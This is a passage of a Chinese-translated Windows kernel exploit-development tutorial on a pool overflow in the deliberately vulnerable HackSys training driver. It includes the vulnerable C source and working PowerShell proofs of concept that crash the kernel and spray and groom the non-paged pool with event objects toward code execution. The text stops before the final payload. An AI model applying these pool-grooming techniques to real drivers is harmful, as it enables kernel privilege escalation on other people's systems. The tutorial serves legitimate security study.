首页 > 安全 > 系统安全 > 正文
Windows exploit开发系列教程:内核利用- >内存池溢出
2017-01-12 10:49:09       个评论      
收藏    我要投稿

Windows exploit开发系列教程:内核利用- >内存池溢出。你好,欢迎回到Windows漏洞利用开发系列教程的第16部分。今天我们将使用@HackSysTeam有漏洞的驱动来进行内存池溢出利用。我再次强烈地建议读者在进入这篇文章之前去回顾下面列出的资源,另外关于内存池分配的更多背景知识请见第15部分。关于调试环境的设置细节可以从第10部分找到。

侦察挑战

让我们带着问题看一下漏洞函数的一部分(在这里)。

NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {

PVOID KernelBuffer = NULL;

NTSTATUS Status = STATUS_SUCCESS;

PAGED_CODE();

__try {

DbgPrint("[+] Allocating Pool chunk\n");

// 分配内存块

KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,

(SIZE_T)POOL_BUFFER_SIZE,

(ULONG)POOL_TAG);

if (!KernelBuffer) {

// 无法分配内存块

DbgPrint("[-] Unable to allocate Pool chunk\n");

Status = STATUS_NO_MEMORY;

return Status;

}

else {

DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));

DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

}

//验证缓冲区是否在用户模式下

ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);

DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);

DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);

DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE

// 安全提示: 这里是安全的因为开发者解析size等于

// 分配内存块的size即RtlCopyMemory()/memcpy()。

// 因此, 这里不会溢出

RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);

#else

DbgPrint("[+] Triggering Pool Overflow\n");

// 漏洞提示: 这里就是带有溢出漏洞的理想内存

// 因为开发者直接解析用户提供的值为

// RtlCopyMemory()/memcpy() 而没有校验size是否大于

// 或等于内存块分配的size

RtlCopyMemory(KernelBuffer, UserBuffer, Size);

#endif

if (KernelBuffer) {

DbgPrint("[+] Freeing Pool chunk\n");

DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));

DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

// 释放分配的内存块

ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);

KernelBuffer = NULL;

}

}

__except (EXCEPTION_EXECUTE_HANDLER) {

Status = GetExceptionCode();

DbgPrint("[-] Exception Code: 0x%X\n", Status);

}

return Status;

}

漏洞是显而易见的!驱动分配内存块的大小X并复制用户提供的数据给它,但是,它没有检查用户提供的数据是否大于内存分配的大小。因此,任何多余的数据将会溢出到未分页内存池里的相邻内存块!我建议你进一步在IDA查看一下这个函数,比较完整的函数开头可以从下面看到,其显示了内存池标记和分配的内存块大小。

\

我们可以使用以下的PowerShell POC来调用这个函数。注意,我们使用的是最大可用长度,任何多出的数据将蔓延到下一内存块!

Add-Type -TypeDefinition @"

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Security.Principal;

public static class EVD

{

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]

public static extern IntPtr CreateFile(

String lpFileName,

UInt32 dwDesiredAccess,

UInt32 dwShareMode,

IntPtr lpSecurityAttributes,

UInt32 dwCreationDisposition,

UInt32 dwFlagsAndAttributes,

IntPtr hTemplateFile);

[DllImport("Kernel32.dll", SetLastError = true)]

public static extern bool DeviceIoControl(

IntPtr hDevice,

int IoControlCode,

byte[] InBuffer,

int nInBufferSize,

byte[] OutBuffer,

int nOutBufferSize,

ref int pBytesReturned,

IntPtr Overlapped);

[DllImport("kernel32.dll", SetLastError = true)]

public static extern void DebugBreak();

}

"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System。IO。FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System。IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {

echo "`n[!] Unable to get driver handle..`n"

Return

} else {

echo "`n[>] Driver information.."

echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"

echo "[+] Handle: $hDevice"

}

# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F

#---

$Buffer = [Byte[]](0x41)*0x1F8

echo "`n[>] Sending buffer.."

echo "[+] Buffer length: $($Buffer。Length)"

echo "[+] IOCTL: 0x22200F"

[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer。Length, $null, 0, [ref]0, [System。IntPtr]::Zero) |Out-null

echo "`n[>] Triggering WinDBG breakpoint.."

[EVD]::DebugBreak()
\

正如我们可以看到的,分配的内存块大小为0 x200,而我们的缓冲区正好截止到下一个相邻的内存池头部。让我们再试试,增加分配的大小或者让我们的缓冲区覆盖随后内存块头部的8个字节。

1

$Buffer = [Byte[]](0x41)*0x1F8 + [Byte[]](0x42)*0x4 + [Byte[]](0x43)*0x4

这里有很多漏洞我们可以根据内存池的状态来触发,并且我们将随机地覆盖内存块(在本例中是一个二次释放)。不管怎样我们成功蓝屏了并且获得了一个原始的漏洞!

Pwn万物!

游戏计划

我认为简要地列出一个游戏计划是件好事。我们将(1) 在一个可预测的状态下获得的未分页内存池,(2)触发被控制的内存池溢出,(3)利用内部的内存池去设置一个shellcode回调,(4)释放损坏的内存块去获得代码执行权!

我强烈推荐你阅读Tarjei的文章并回顾本系列的第15部分。这将有助于更详细地解释我们的内存块分配“风水”是如何工作的:p !

规则化未分页内存池

在之前的帖子里,我们使用大小为0 x60的IoCompletionReserve对象去喷射未分页内存池。然而在这里,我们的目标对象大小为0 x200,所以我们需要喷射0x200的数据或者可以增加到0x200大小的对象。幸运的是,事件对象的大小为0 x40,并且可以通过乘以8刚好增加到0x200的大小。

以下POC第一次分配10000个事件对象去重组未分页内存池,然后再多5000个以达到可预测的分配。注意到我们dump出最近10个对象句柄然后在WinDBG手动触发断点。

Add-Type -TypeDefinition @"

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Security.Principal;

public static class EVD

{

[DllImport("kernel32.dll", SetLastError = true)]

public static extern Byte CloseHandle(

IntPtr hObject);

[DllImport("kernel32.dll", SetLastError = true)]

public static extern int CreateEvent(

IntPtr lpEventAttributes,

Byte bManualReset,

Byte bInitialState,

String lpName);

[DllImport("kernel32.dll", SetLastError = true)]

public static extern void DebugBreak();

}

"@

function Event-PoolSpray {

echo "[+] Derandomizing NonPagedPool.."

$Spray = @()

for ($i=0;$i -lt 10000;$i++) {

$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")

if ($CallResult -ne 0) {

$Spray += $CallResult

}

}

$Script:Event_hArray1 += $Spray

echo "[+] $($Event_hArray1。Length) event objects created!"

echo "[+] Allocating sequential objects.."

$Spray = @()

for ($i=0;$i -lt 5000;$i++) {

$CallResult = [EVD]::CreateEvent([System。IntPtr]::Zero, 0, 0, "")

if ($CallResult -ne 0) {

$Spray += $CallResult

}

}

$Script:Event_hArray2 += $Spray

echo "[+] $($Event_hArray2。Length) event objects created!"

}

echo "`n[>] Spraying non-paged kernel pool!"

Event-PoolSpray

echo "`n[>] Last 10 object handles:"

for ($i=1;$i -lt 11; $i++) {

"{0:X}" -f $($($Event_hArray2[-$i]))

}

Start-Sleep -s 3

echo "`n[>] Triggering WinDBG breakpoint.."

[EVD]::DebugBreak()

你应该会看到类似这些东西,并且在WinDBG中命中一个断点。

\

看一下我们dump出来的其中一个句柄,可以看到漂亮的0 x40字节顺序分配。

\

为了获得一个理想状态的内存池,我们唯一需要做的就是在我们的第二次分配时释放0 x200字节的内存段。这个时候将创造出一个“洞”给驱动对象使用。下面的POC说明了这一点。

Add-Type -TypeDefinition @"

using System;

using System.Diagnostics;

using System.Runtime.InteropServices;

using System.Security.Principal;

public static class EVD

{

[DllImport("kernel32.dll", SetLastError = true)]

public static extern Byte CloseHandle(

IntPtr hObject);

[DllImport("kernel32。dll", SetLastError = true)]

public static extern int CreateEvent(

IntPtr lpEventAttributes,

Byte bManualReset,

Byte bInitialState,

String lpName);

[DllImport("kernel32.dll", SetLastError = true)]

public static extern void DebugBreak();

}

"@

function Event-PoolSpray {

echo "[+] Derandomizing NonPagedPool.."

$Spray = @()

for ($i=0;$i -lt 10000;$i++) {

$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")

if ($CallResult -ne 0) {

$Spray += $CallResult

}

}

$Script:Event_hArray1 += $Spray

echo "[+] $($Event_hArray1。Length) event objects created!"

echo "[+] Allocating sequential objects.."

$Spray = @()

for ($i=0;$i -lt 5000;$i++) {

$CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")

if ($CallResult -ne 0) {

$Spray += $CallResult

}

}

$Script:Event_hArray2 += $Spray

echo "[+] $($Event_hArray2。Length) event objects created!"

echo "[+] Creating non-paged pool holes.."

for ($i=0;$i -lt $($Event_hArray2。Length);$i+=16) {

for ($j=0;$j -lt 8;$j++) {

$CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])

if ($CallResult -ne 0) {

$FreeCount += 1

}

}

}

echo "[+] Free'd $FreeCount event objects!"

}

echo "`n[>] Spraying non-paged kernel pool!"

Event-PoolSpray

echo "`n[>] Last 16 object handles:"

for ($i=1;$i -lt 17; $i++) {

"{0:X}" -f $($($Event_hArray2[-$i]))

}

Start-Sleep -s 3

echo "`n[>] Triggering WinDBG breakpoint.."

[EVD]::DebugBreak()

内存块结构101

如前所述,我们将利用“内部内存池”去获得代码执行权。我们已经看到,混乱这些结构的话必然会导致系统蓝屏,所以我们将去更好的理解内存块的布局。

下面我们可以看到一个完整的事件对象以及组成它的各种结构!

\

首先,这里有一个WinDBG的漏洞,就说明内存块结构而言这其实并不重要不过其非常的令人讨厌!大家都可以看到这里的问题吗? 如果有人可以告诉我为什么我会有免费的蛋糕...(蛋糕是假的了)!无论如何当我们之后执行溢出操作时我们有三个头部数据需要保持一致(一定程度上)。

点击复制链接 与好友分享!回本站首页
上一篇:安卓漏洞:攻击Nexus6和6p自定义引导模式
下一篇:从MS16-098看Windows 8.1内核漏洞利用
相关文章
图文推荐
文章
推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训
版权所有: 红黑联盟--致力于做实用的IT技术学习网站